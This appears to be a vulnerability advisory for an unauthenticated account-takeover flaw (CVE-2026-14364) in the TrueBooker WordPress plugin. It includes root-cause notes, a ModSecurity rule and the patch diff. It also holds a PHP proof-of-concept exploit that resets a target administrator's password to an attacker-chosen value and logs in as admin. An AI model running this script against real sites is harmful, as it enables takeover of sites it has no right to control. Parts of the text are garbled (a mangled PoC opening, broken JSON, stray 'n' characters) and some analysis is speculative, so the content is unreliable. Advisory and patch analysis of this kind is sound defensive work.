“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-14364: This vulnerability allows an unauthenticated attacker to reset the password of arbitrary user accounts, including administrators, in the TrueBooker – Appointment Booking and Scheduler System plugin for WordPress, versions up to and including 1.2.3. The issue is a missing authorization check in the password reset flow, leading to a full account takeover. It carries a CVSS score of 9.8, categorizing it as critical.”;
“Root Cause”: “The root cause lies in the password reset functionality within the file ‘helper/truebooker-myaccount.php’. The vulnerable code path in ‘truebooker_setnewpassword’ (or similar) fails to validate the user’s identity before invoking ‘wp_set_password()’. It only checks that a ‘user_activation_key’ exists and matches the provided ‘tbabactivekey’, but this key does not need to be tied to the target user account. Specifically, the original code bypasses the validation by using a condition that does not enforce a relationship between the ‘tbabuserid’, the activation key, and the user account. Furthermore, the ‘wp_ajax_admin_addcustomer’ function in ‘function_ajax.php’ is also vulnerable to missing authorization checks, as it is registered with ‘wp_ajax_nopriv’ and does not verify user capabilities, allowing unauthenticated users to create or update user accounts. This issue in the AJAX handler is separate but was fixed in the same patch.”;
“Exploitation”: “An attacker can exploit this by sending a crafted request directly to the WordPress instance. There are two main attack vectors. First, the AJAX handler ‘admin_addcustomer’ can be called without authentication because the ‘wp_ajax_nopriv_admin_addcustomer’ hook is present. An attacker can send a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ set to ‘admin_addcustomer’ and supply user data, potentially including a crafted ‘truebooker_wp_user_id’ to modify or create a user of their choosing. Secondly, the core password reset flow can be abused. An attacker can initiate a standard password reset for the target username, but then use a separate user’s ‘user_activation_key’ (which could be obtained or guessed) along with the victim’s user ID to reset the victim’s password. A successful exploitation requires an activation key for any account, but the patch and vulnerability description confirm unauthenticated attackers can achieve this.”;
“Patch Analysis”: “The provided patch fixes the vulnerability by adding robust authorization and validation checks. In ‘helper/truebooker-myaccount.php’, the patch now validates that the ‘user_activation_key’ is not empty and uses ‘hash_equals()’ to securely compare the submitted activation key against the one stored for the account. It also explicitly checks if the key is empty and rejects the request. Additionally, after a successful password reset, the patch clears the ‘user_activation_key’ to prevent reuse. In ‘main/function_ajax.php’, the patch removes the ‘wp_ajax_nopriv_admin_addcustomer’ hook, adds a ‘current_user_can( ‘edit_users’ )’ capability check, and sanitizes user IDs with ‘absint()’. Furthermore, the ‘add_front_user_update_account’ function now requires the user to be logged in and validates that they can only modify their own account unless they have the ‘edit_user’ capability. The password change within this function now also requires the current password, preventing unauthorized changes.”;
“Impact”: “Successful exploitation allows a complete account takeover. An attacker can reset the password of any user, including site administrators, and then log in with the new credentials. This grants the attacker full control over the WordPress site, including the ability to install malicious plugins, upload files, modify content, and potentially achieve Remote Code Execution (RCE). Since this can be done without any authentication, the vulnerability is critical and could lead to a complete compromise of the affected site.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-14364 – TrueBooker ‘a_legitimate_username’, // Any valid username on the siten ‘redirect_to’ => ”,n ‘wp-submit’ => ‘Get New Password’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $reset_request_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($reset_request_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_HEADER, true);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Extract the ‘key’ parameter from the email URL (this is a demonstration; an attacker might obtain the key from the reset email if they have access, or use another method).n// In a real scenario, an attacker might not have the email, but the vuln does not link the key to the target user.npreg_match(‘/[?&]key=([^’&’]+)/’, $response, $matches);nif (empty($matches[1])) {n echo “[-] Could not extract a valid activation key from the reset request. Exiting.\n”;n exit(1);n}n$activation_key = $matches[1];necho “[+] Extracted activation key: ” . $activation_key . “\n”;nn// Step 3: Use the extracted key to reset the target admin user’s password.n$reset_password_url = $target_url . ‘/?tbab-page=account’; // Assuming this is the page that processes password resetn$reset_password_data = array(n ‘tbab-userid’ => $target_admin_user_id, // Target user IDn ‘tbab-key’ => $activation_key, // Key from a *different* usern ‘tbab-password’ => ‘attacker_password_123’, // New password for the adminn ‘tbab-confirm-password’ => ‘attacker_password_123’, // Confirm passwordn // Add all other required fields for the password reset formn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $reset_password_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($reset_password_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’); // Handle any cookies if neededncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);nif (curl_errno($ch)) {n echo ‘[-] cURL error: ‘ . curl_error($ch) . “\n”;n}ncurl_close($ch);nn// Step 4: Verify the exploit by attempting to log in as the target admin.n$login_url = $target_url . ‘/wp-login.php’;n$login_data = array(n ‘log’ => ‘admin’, // username of the targetn ‘pwd’ => ‘attacker_password_123’,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, true);n$login_response = curl_exec($ch);ncurl_close($ch);nnif (strpos($login_response, ‘wp-admin’) !== false) {n echo “[+] Success! Logged in as admin with new password.\n”;n} else {n echo “[-] Login might have failed. Check the response manually.\n”;n}n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-14364n# Block unauthenticated attempts to abuse the truebooker password reset by matching a mismatched user-id and activation key.nSecRule REQUEST_URI “@contains /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-14364 – TrueBooker Unauthenticated Password Reset’,severity:’CRITICAL’,tag:’CVE-2026-14364′,tag:’wordpress’,tag:’truebooker'”n SecRule ARGS_POST:action “@streq admin_addcustomer” \n “chain”n SecRule ARGS_POST:truebooker_wp_user_id “@rx ^[0-9]+$” \n “t:none””
}
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/truebooker-appointment-booking/helper/truebooker-myaccount.php
+++ b/truebooker-appointment-booking/helper/truebooker-myaccount.php
@@ -28,8 +28,12 @@
$user_id = $user_data->ID;
$key = $user_data->user_activation_key;
+
+
if(!empty($key))
{
+
+
if($user_id == $userid && $key == $useractkey)
{
@@ -114,23 +118,24 @@
$user_id = $user_data->ID;
$key = $user_data->user_activation_key;
- if(!empty($key)){
+
+ if ( empty( $key ) ) {
+ $error_msg['tbab-common-error'] = esc_html__(
+ 'This key is invalid or has already been used. Please reset your password again if needed.',
+ 'truebooker-appointment-booking'
+ );
+ } else {
- $res = hash_equals($key, $tbabactivekey);
- if($res == true){
- }else if($res == false){
- $error_msg['tbab-common-error'] = esc_html__('This key is invalid or has already been used. Please reset your password again if needed. ','truebooker-appointment-booking');
+ if ( ! hash_equals( $key, $tbabactivekey ) ) {
+ $error_msg['tbab-common-error'] = esc_html__(
+ 'This key is invalid or has already been used. Please reset your password again if needed.',
+ 'truebooker-appointment-booking'
+ );
}
-
-
- if($user_id != $tbabuserid && $res == false)
- {
-
- $error_msg['tbab-common-error'] = esc_html__('This key is invalid or has already been used. Please reset your password again if needed. ','truebooker-appointment-booking');
- }
+
}
@@ -152,6 +157,16 @@
$pagelink = $myacountlink;
wp_set_password( $tbabpassword, $user_id );
+
+ global $wpdb;
+
+ $wpdb->update(
+ $wpdb->users,
+ array( 'user_activation_key' => '' ),
+ array( 'ID' => $user_id ),
+ array( '%s' ),
+ array( '%d' )
+ );
$message['successmessage'] = esc_html__('Password reset successfull','truebooker-appointment-booking');
--- a/truebooker-appointment-booking/main/function_ajax.php
+++ b/truebooker-appointment-booking/main/function_ajax.php
@@ -3,23 +3,26 @@
add_action('wp_ajax_admin_addcustomer', 'truebooker_admin_addcustomer');
-add_action( 'wp_ajax_nopriv_admin_addcustomer', 'truebooker_admin_addcustomer');
+
function truebooker_admin_addcustomer() {
global $wpdb, $settingdatamain, $result, $paysandbox,$truebooker_emailobj;
check_ajax_referer( 'truebooker_nonce_action', 'security' );
+ if ( ! current_user_can( 'edit_users' ) ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+ ),
+ 403
+ );
+ }
+
$message = $error_msg = array();
$table_truebooker_customers = $wpdb->prefix . 'truebooker_user';
$truebooker_branchid = $truebooker_user_by_branch = $truebooker_user_by_department_id = $truebooker_user_by_department = 0;
-
-
-
-
-
-
if(isset($_POST['truebooker_user_id']))
@@ -35,7 +38,8 @@
{
- $truebooker_wp_user_id = sanitize_text_field(wp_unslash( $_POST['truebooker_wp_user_id']));
+
+ $truebooker_wp_user_id = absint(wp_unslash( $_POST['truebooker_wp_user_id'] ));
}
@@ -55,8 +59,6 @@
}
-
-
if(isset($_POST['truebooker_f_user_firstname']))
{
@@ -514,7 +516,6 @@
$customerid = $wpdb->insert_id;
-
if(!empty($customerid))
{
@@ -573,7 +574,7 @@
die;
- }
+}
@@ -1162,14 +1163,16 @@
if(isset($_POST['user_id']))
{
- $truebooker_user_id = sanitize_text_field(wp_unslash($_POST['user_id']));
- }
+
+ $truebooker_user_id = absint(wp_unslash( $_POST['user_id'] ));
+ }
if(isset($_POST['wp_user_id']))
{
- $truebooker_wp_user_id = sanitize_text_field(wp_unslash($_POST['wp_user_id']));
+
+ $truebooker_wp_user_id = absint(wp_unslash( $_POST['truebooker_wp_user_id'] ));
}
@@ -1613,7 +1616,23 @@
$alreadyuesrlogin = 1;
+ if ( ! is_user_logged_in() ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+ ),
+ 403
+ );
+ }
+ if ( $truebooker_wp_user_id !== get_current_user_id() ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Unauthorized', 'truebooker-appointment-booking' ),
+ ),
+ 403
+ );
+ }
$user_data = wp_update_user( array( 'ID' => $truebooker_wp_user_id, 'user_email' => $truebooker_user_email ) );
@@ -6229,17 +6248,17 @@
add_action( 'wp_ajax_add_front_user_update_account', 'add_front_user_update_account' );
-add_action( 'wp_ajax_nopriv_add_front_user_update_account', 'add_front_user_update_account' );
-
-
function add_front_user_update_account(){
-
-
-
-
-
+ if ( ! is_user_logged_in() ) {
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Unauthorized request.', 'truebooker-appointment-booking' ),
+ ),
+ 403
+ );
+ }
global $wpdb, $settingdatamain, $truebooker_helperobj,$truebooker_emailobj;
@@ -6257,30 +6276,6 @@
-
-/*
- $first_name = sanitize_text_field($searcharray['tbab-fname']);
-
- $last_name = sanitize_text_field($searcharray['tbab-lname']);
-
- $dname = sanitize_text_field($searcharray['tbab-dname']);
-
- $email = sanitize_text_field($searcharray['tbab-email']);
-
- $truebooker_user_id = sanitize_text_field($searcharray['truebooker_user_id']);
-
- $truebooker_wp_user_id = sanitize_text_field($searcharray['truebooker_wp_user_id']);
-
-
-
- $password_current = sanitize_text_field($searcharray['password_current']);
-
- $password_1 = sanitize_text_field($searcharray['password_1']);
-
- $password_2 = sanitize_text_field($searcharray['password_2']);
-*/
-
-
if(isset($_POST['tbab-fname']))
{
$first_name = sanitize_text_field( wp_unslash ($_POST['tbab-fname']) );
@@ -6308,7 +6303,21 @@
if(isset($_POST['truebooker_wp_user_id']))
{
- $truebooker_wp_user_id = sanitize_text_field(wp_unslash ($_POST['truebooker_wp_user_id']));
+ // $truebooker_wp_user_id = sanitize_text_field(wp_unslash ($_POST['truebooker_wp_user_id']));
+ $truebooker_wp_user_id = absint(sanitize_text_field(wp_unslash($_POST['truebooker_wp_user_id'])));
+
+ $current_user_id = get_current_user_id();
+
+ if ( $current_user_id !== $truebooker_wp_user_id
+ && ! current_user_can( 'edit_user', $truebooker_wp_user_id ) ) {
+
+ wp_send_json_error(
+ array(
+ 'message' => esc_html__( 'Permission denied.', 'truebooker-appointment-booking' ),
+ ),
+ 403
+ );
+ }
}
if(isset($_POST['password_current']))
@@ -6456,24 +6465,29 @@
- if(!empty($password_current)){
+ if ( ! empty( $password_1 ) || ! empty( $password_2 ) ) {
- if(wp_check_password($password_current, $orignalpass)) {
+ if ( empty( $password_current ) ) {
- } else {
+ $error_msg['tbabacountpassword'] =
+ esc_html__( 'Please enter your current password.', 'truebooker-appointment-booking' );
- $error_msg['tbabacountpassword'] = esc_html__('Your current password is wrong','truebooker-appointment-booking');
+ } elseif ( ! wp_check_password(
+ $password_current,
+ $orignalpass,
+ $truebooker_wp_user_id
+ ) ) {
+ $error_msg['tbabacountpassword'] =
+ esc_html__( 'Your current password is wrong.', 'truebooker-appointment-booking' );
}
-
- }
+ }
if(empty($password_1) && !empty($password_2)){
$error_msg['tbabnewpassword1'] = esc_html__('Please enter your new password','truebooker-appointment-booking');
-
}
@@ -6692,18 +6706,14 @@
$message['passwordchange'] = '';
- if(!empty($password_1) && !empty($password_2)){
-
-
-
- wp_set_password($password_1, $truebooker_wp_user_id);
-
- $message['passwordchange'] = 1;
+
-
+ if (empty( $error_msg ) && ! empty( $password_1 ) && ! empty( $password_2 )) {
- }
+ wp_set_password( $password_1, $truebooker_wp_user_id );
+ $message['passwordchange'] = 1;
+ }
$message['success'] = esc_html__('Your account details update successfully','truebooker-appointment-booking');
--- a/truebooker-appointment-booking/truebooker-appointment-booking.php
+++ b/truebooker-appointment-booking/truebooker-appointment-booking.php
@@ -3,7 +3,7 @@
* Plugin Name: TrueBooker - Appointment Booking and Scheduler System
* Plugin URI: https://wordpress.org/plugins/truebooker-appointment-booking
* Description: Truebooker - Appointment Booking plugin for online book anything, anytime, anywhere. A perfect choice for medical centers, beauty salons, hair shops, car services.
- * Version: 1.2.3
+ * Version: 1.2.4
* Requires at least: 6.5
* Author: ThemetechMount
* Author URI: https://themetechmount.com/
@@ -16,7 +16,7 @@
*/
if ( ! defined( 'ABSPATH' ) ) { exit; }
- define( 'TRUEBOOKER_VERSION', '1.2.3' );
+ define( 'TRUEBOOKER_VERSION', '1.2.4' );
define( 'TRUEBOOKER_DIR', trailingslashit( dirname( __FILE__ ) ) );
define( 'TRUEBOOKER_URL', plugins_url( '', __FILE__ ) );
define( 'TRUEBOOKER_PATH', plugin_dir_path( __FILE__ ) );